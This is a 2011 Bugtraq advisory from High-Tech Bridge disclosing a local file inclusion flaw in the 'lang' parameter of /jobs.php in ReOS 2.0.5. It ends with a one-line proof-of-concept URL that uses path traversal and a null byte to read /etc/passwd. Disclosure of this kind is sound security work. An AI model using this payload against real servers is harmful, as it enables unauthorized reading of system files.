bugtraq - HTB22808: Local File Inclusion in ReOS

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Message-Id: <201102031150.p13BoiHO018756@htbridge.ch>
Date: Thu, 3 Feb 2011 12:50:44 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22808: Local File Inclusion in ReOS 

Vulnerability ID: HTB22808
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_reos.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ ) 
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011 
Vulnerability Type: Local File Inclusion
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/jobs.php" script to properly sanitize user-supplied input in "lang" variable.

The following PoC is available:

http://[host]/jobs.php?lang=/../../../../../../../../etc/passwd%00